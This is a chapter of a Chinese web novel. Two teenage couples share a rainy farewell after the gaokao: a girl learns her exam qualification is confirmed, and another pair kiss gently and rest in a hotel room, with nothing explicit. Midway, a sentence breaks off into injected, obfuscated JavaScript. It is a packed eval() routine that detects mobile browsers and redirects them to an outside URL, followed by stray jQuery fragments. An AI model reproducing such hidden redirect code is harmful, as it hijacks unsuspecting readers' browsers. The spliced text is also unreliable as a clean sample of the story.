63. 酒店

作品:《我在BE漫画里改崩了cp

    赴约当天,约定在下午见面。


    安羽拉开抽屉,从最里隔间取出那根红绳。上月和母亲一起去庙里祈福上香,离开时庙里老和尚从宽袖里取出两股赠与她们。道谢后,她走出几步,却忽然折返,对着香火缭绕的神仙,又深深拜了一拜。


    若说原先是为自己求的,那么折返添上的这跟红绳,便是希望程砚一切顺遂。


    出门时天空还灿阳高悬,这会走到小河堤岸,安羽再向上望去,天色却已沉了下来,云层堆叠,空气中隐约漫着土腥气,有种“风雨欲来”的前奏。


    顺着人流走上明音桥,一眼就望见了小亭旁的身影。少年立在灰蒙蒙的天色与流动的人潮中,犹如一颗明星投入茫茫沙砾之中,依然清挺得像一株拔节的绿竹。


    亭中人流如织,上上下下,安羽有些望而却步,脚下露了些胆怯。


    程砚应是看到了她,扬了下手,三两步跑至她身前,他眉眼间倏然亮了一瞬:“见谅。出门没看天气预报,这天一下就阴了。”


    安羽轻声说:“风雨多变啊。”


    感慨似的……


    程砚听到她这么老神在在的话语,不禁扬眉笑了下:“有时候觉得你很安静,有时又像早把世间道理参悟了,便不屑争抢。但要归根的话,你更像猫。”


    “……”


    安羽怔了怔,第一次听他这样说随即也笑了,眼底却失了一层愠色:“什么参悟世间道理……不过是懂得少,只好从浅入深一点一点看。至于安静……”她垂下眼,脚尖无意识点了下地,“这是人之常情了。”


    程砚失笑。


    不过瞬息之间,零星的雨点已落了下来。安羽没躲,反而抬手接了几滴:“程砚,我向神仙娘娘许了愿。希望你高考顺利,往后……一切都顺利。”


    沁凉的雨点落在她掌心像烟花轰然炸开。她收回手,从口袋摸出那根细细的红绳,递过去,说:“这个,给你。”


    “我看看。”程砚伸手去接,微凉的手指擦过她白嫩的手心。就在这时,裤兜里的手机振动起来,他翻出手机一看,是符林的。


    铃声急促。程砚敛了笑,朝安羽晃了晃手机,示意:“接一下?”


    安羽点头:“嗯。”


    电话接通的瞬间,符林的大嗓门穿透扬声器传来,声音里藏着遏制不住的喜悦:“小砚!你在哪?快看公告!”


    “我在外面……”程砚话没说完,符林像是突然悟了什么,了然的“哦——”了一声,紧接着喜道:“你是不是跟安羽在一块呢?赶紧告诉她!公告更正了!有她!安羽的名字在上面……!


    闻言,程砚的手指几不可察地顿了一下。


    符林还在那头笑着嚷:“哈哈哈我都说了,安羽那小姑娘肯定能行…”


    后面的话,程砚已然听不清了。耳边嗡嗡作响,等回过神来,电话早已挂断。


    程砚转过身,目光直直地、稳稳地,落到了安羽脸上。安羽琥珀色的眼眸呈放空状态,俨然还没能消化这个突如其来的喜讯。


    程砚先先反应了过来,释然地、彻底地笑了,他低下头,声音温柔得像此刻拂过河面的风:“恭喜你,安羽同学。闯关成功。”


    安羽轻轻地眨了下眼:“……真的是我、我吗?”


    “是你。”


    傍晚的风从河面吹来,带着潮湿的水汽,湿漉漉地扑在脸上。他看着她,看了足足有三秒。


    雨点急转直下,劈里啪啦砸下来,以迅雷不及掩耳之势浇湿了地面。


    天色阴沉,游人仓皇四散。


    安羽这才从恍惚中惊醒。喜悦后知后觉地涌上来,来势汹涌,刺激得鼻腔发酸,眼眶发热。眼泪滚落,混在淅淅沥沥的雨水里。


    她回头看向程砚,递给他一个眼神。那眼神太复杂,是狂喜、是解脱、又有感激与温情,此刻那些难以言喻的情感全都盛在那一瞥里。


    手机叮咚叮咚的提示音接连不断,安羽已无暇顾及。


    “安羽,我们先躲雨。”


    犹然记起那天雨很大,程砚拉住她的手腕,带她穿过雨幕,跑向晴朗的旷日。


    ……


    高考最后一天,英语听力播放完的刹那。


    “轰——”一声巨响。程砚坐在窗边的位置,闻声望去,只见天空低垂,银蛇乱舞,瓢泼大雨猛烈地拍打着窗玻璃,这个世界都仿佛在振动。


    洛州一种校门外,人群早已围得水泄不通。人挤着人,伞挨着伞。蓝的、绿的、红的、透明的大小圆伞绽放在半空中,像一片慌乱却鲜艳的花海。


    商如夏踮着脚,蹭到安羽身边,探着脑袋,小声琢磨:“安羽,你说……程砚他们能不能提前交卷啊?”


    安羽摇摇头,眼睛仍望着校门:“一般情况下是不允许的。”


    “我日!”另一边,程定猛地向后一仰,抹了把脸,“这雨发什么疯,全浇我脸上了!”


    然而……没有人理他。程定轻哼,“欸”了一声,瞧着斜前方两姑娘的背影,用胳膊肘碰了碰旁边的边长嬴,压低声音说:“长嬴,你和商如夏……闹什么矛盾了?我怎么感觉你俩之间气氛怪怪的……当然,哥们肯定是站在你这边的。说来听听,我给你分析分析。”


    边长嬴目光落在远处:“没有,你想多了。”


    “要瞒别人也就算了,瞒我?你的朋友兼异性亲兄弟,懂不懂?”这人却正经不过下一秒,“又不收你咨询费……”


    程定说完眼皮突突跳起来,已预感下一秒他会说什么。


    果然,边长嬴扫他一眼,吐出一个字:“滚。”


    程定佯作伤心:“好好好,你就这样吧。最毒不过妇人心,最狠不过你的嘴。”


    边长嬴:“……”


    须臾,雨声中一道尖锐的女声破圈而出:“出来了!出来了!他们考完了!”


    一时之间,校外等候的所有目光齐刷刷投向校门口。


    伸缩门缓缓收起,待收缩到极点,刚结束战斗的高三生们鱼龙般,撑着伞涌了出来。哗啦的雨声也盖不住那股彻底解放的、沸腾的喧嚣。


    身后的人往前挤,眨眼间商如夏就找不到安羽了。人挤人之间的汗味闯入鼻腔,她皱了皱眉,想着干脆退到一边等。谁知,刚后退半步,脚跟就踩进水坑。


    “……啊!”


    倒霉催的,她小脸一下囧了。


    “跟我来。”耳边突然一道熟悉的嗓音。她顺着握着她腕子的骨节分明的手,抬起脸,对上边长嬴线条清晰的下颌。


    商如夏乖乖应了一声:“哦。”


    她自以为声音很轻,边长嬴却还是侧过头看了她一眼。


    商如夏心虚,没敢坦然的迎上他的视线,自然也没注意到边长嬴泛红的眼眶,但在此情此景下,即便看到,她大概也会认为他是被雨水刺的。


    他带着她逆着人流,闪身进了一条僻静小巷。雨声被隔绝了大半,边长嬴收了伞,握着她手腕的手并未松开,反而顺势下滑,穿过她的指缝,十指相扣。


    “晚上八点多的火车,一会去车站和大家汇合。”边长嬴回过头,声音静了下来,“现在,你跟我走。”


    商如夏一怔:“……去哪儿?”


    “酒店。”他沉稳的气息中吐出两个字,不容置喙。


    商如夏:“???”


    有种你再说一遍?


    她震惊得说不出话。直到听见“咔哒”一声轻响,眼睁睁看着酒店的房门在边长嬴身后合拢,商如夏这才意识到,他是认真的。


    心跳声如鼓点密密麻麻,撞击胸口。只是难以分清是被吓得,还是别的什么。她眨眨眼,声音有点颤:“你、你带我来这……干什么?”


    边长嬴微蹙着眉,往日那份游刃有余的冷静荡然无存。他掀起眼皮,露出下面漆黑的宛如深谭的眸色,沉声反问:“你……“他顿了下,“觉得呢?”


    身后就是一张宽大的双人床,窗帘还被他进来时顺手拉严了。这实在不能怪她多想。商如夏下意识做了个防御的姿势,咽了咽口水,试图唤醒他的良知:“边长嬴,停!你先冷静一下!我虽然不是什么保守派,但、但这样有点过于早了?而且……对你、对我这样都不太好,对吧?”


    边长嬴抱臂听着,似是认同般点了下头:“嗯,继续。”


    “……”


    商如夏心里尖叫:“继续你个鬼,老娘跑路了!”


    “有事好商量……”她讨饶。


    “没得商量。”他已步步逼近,声音放得很低,带着一种她从未察觉的急躁:“先解决问题。”


    商如夏一愣:“嗯?解决问题啊?”她猛地反应过来自己可能想岔了,顿时松了口气,一挥手,“嗐,你早说嘛,我还以为……”


    话音未落。“唔……”


    她腰间揽过一只结实的手臂,天旋地转间,她被带进他怀里。紧接着,一个温热而急切的吻堵住了她所有未出口的话。


    边长嬴在她唇上浅啄了一下,稍稍退开,呼吸微乱,黑沉的眼睛盯着她:“今天不许哭。”


    商如夏:“……”


    她被亲的五迷三道,但还是忍不住反问:“你怎么还能控制我的泪腺开关?”


    “嗯。所以不许哭。”边长嬴说完,手指轻轻捏着商如夏的下巴,迫使她仰起脸:“闭眼,宝宝。”


    ……宝宝。


    他怎么这样叫她,好难为情哦。这个称呼像带着细小电流,瞬间窜遍全身。商如夏脸颊爆红,腿也软了。


    就在她身子往下滑的瞬间,边长嬴手臂用力,掐着她的腰将她抱起来,放到旁边的桌沿上:“累了就说。”


    才亲了不到三分钟,商如夏就捶他肩膀:“停……让我……”


    她话没从牙缝里挤出来,边长


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082051|183646||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    嬴又追吻上来,一次比一次深,带着难以自抑的欲念。


    商如夏:“???”说好的‘累了就说’呢?


    又过了不知多久,商如夏舌尖发麻,实在是有些呼吸不过来,腿软得坐不住,想躲但又被边长嬴紧紧箍着。一来二去,又羞又恼,心里又急,她便没控制住开始掉眼泪了。


    边长嬴这才猛地顿住,稍稍退远了些,但手臂仍圈着她。


    “呜呜呜……”商如夏抽噎着,眼泪啪嗒啪嗒的跟不要钱一样往下掉,“边长嬴,你混蛋……你干嘛欺负我……”


    谁知,边长嬴仿若充耳未闻,反而低下头,极轻吻去她眼角的泪珠,嗓音沙哑得厉害:“宝宝,哭得好漂亮。”


    商如夏:“……”


    她“呜呜”两声,沾了水汽的眼睛在灯光下亮得宛若璀璨明星。哭着哭着,她停下,忽然反应过来——刚刚,边长嬴是不是在夸她漂亮。


    “你……在夸我吗?”她小心翼翼询问着,像是下一秒边长嬴没说出让她满意的话又要可怜兮兮掉眼泪了。边长嬴望着她水眸似的眼睛,心里那点无处发泄的焦躁、不安和莫名的气性,忽然就散了。他额头轻抵上她的,鼻尖相触,轻哄着:“是在夸你。”


    听到满意回答,商如夏开心了,没由来的委屈也就散了。再想哭,却挤不出眼泪了,只能干“呜呜”两声,自己都觉得有点好笑:“……我哭不出来了,怎么办?”


    边长嬴盯了她看了两秒,忽然偏过头,肩膀轻颤起来。


    他在笑。


    商如夏脸红得胜过成熟的番茄:“……”


    没脸见人了!她决定破罐子破摔,伸出一根手指去戳他坚硬的肩膀:“喂……你去帮我挖个地洞,我要钻进去。”


    “你怎么都漂亮。”边长嬴说,眼底还残留着未散的笑意。


    后面不知怎么的,两个人抱着抱着,亲着亲着,就倒在了那张柔软得过分的床上。


    商如夏茫然地眨眨眼,抬手摸了摸自己的唇瓣,微微的刺麻感传来。


    ……好像是肿了。


    亲得好用力。


    她悄悄垂眸,飞快扫了一眼自己,确认衣服都还好好的。这才吁了口气,心说:“还好、还好。他没真的乱来。”


    就在这时,身旁传来闷闷的一声,带着一丝不易察觉的颤抖,又像是祈求:“商如夏……别离开我。好不好?”


    商如夏没有丝毫犹豫,脱口而出:“我怎么会离开你?”


    她觉得他像是知道什么,却又不敢想是不是他真的意识到什么,只当是前几日的争吵没有带给他安全感。


    边长嬴从后面紧紧环住她的腰,脸埋在她肩颈处,温热的气息拂过她敏感的皮肤,声音低哑得近乎破碎:“留在我身边。”


    “你放……”那个“心”字还为出口,就被她咽了回去。她覆上他环在自己腰间的手,细细摩挲着他青筋暴起的手背,声音软了下来,“只要我在,就会永远陪着你。好不好?”


    良久,她听见他低低地应了一声:“好。”


    “陪我睡一会儿。”他抱着她说,是藏不住的倦意。


    商如夏心软得一塌糊涂,哄他:“睡多久都可以。”


    边长嬴:“你骗我。”


    商如夏觉得今晚的边长嬴与往日不同,孩子气十足,却又觉得这样的他无比真实,他的哪一面她都想珍惜。她浅浅一笑,放缓了声音:“那你抱紧一点。我力气没你大,挣脱不开你的。而且……我这么喜欢你,怎么舍得离开你呢?”


    不知边长嬴是听进去,还是没听进去。沉默了一会儿,商如夏感觉到环在他腰上的手用了些力,她听见他说:“晚上八点……去秋海的车票。”


    商如夏心里的天平早在不觉间倾倒。任务已尽终点,对于那次计划的海边之旅,忽然变得遥远而不重要。


    相比之下,她此刻留在这个房间,更想陪在边长嬴身边。


    于她而言,圆满不一定是最好的。眼前的温度才是她最难以割舍的。


    “要不……跟大家说声,我们这次不去了?”


    边长嬴低下头,在她肩上细腻的肌肤上落下一个轻柔的吻,最后听在那里,温声说:“不了。我抱一会就好。”


    商如夏耳根发热,又小声提议:“……要不换成亲一会呢?”床太软,身后怀抱又暖,她说完没忍住打了个哈欠。


    “不用。”边长嬴的声音轻得像叹息,他将脸埋得更深,贪婪地呼吸着她身上令他着迷的味道,仿佛只有这样才能确认她的存在,才能将这一刻留在身边、刻进骨血里。


    “我知足了。”


    边长嬴笑了一声,仔细听有难以言喻的苦涩。


    她脑袋晕乎着,没能分辨。


    安静的房间里,只剩下一道清浅、趋向平缓的呼吸声,窗外淅淅沥沥的雨声做了陪衬,整个房间更加静谧。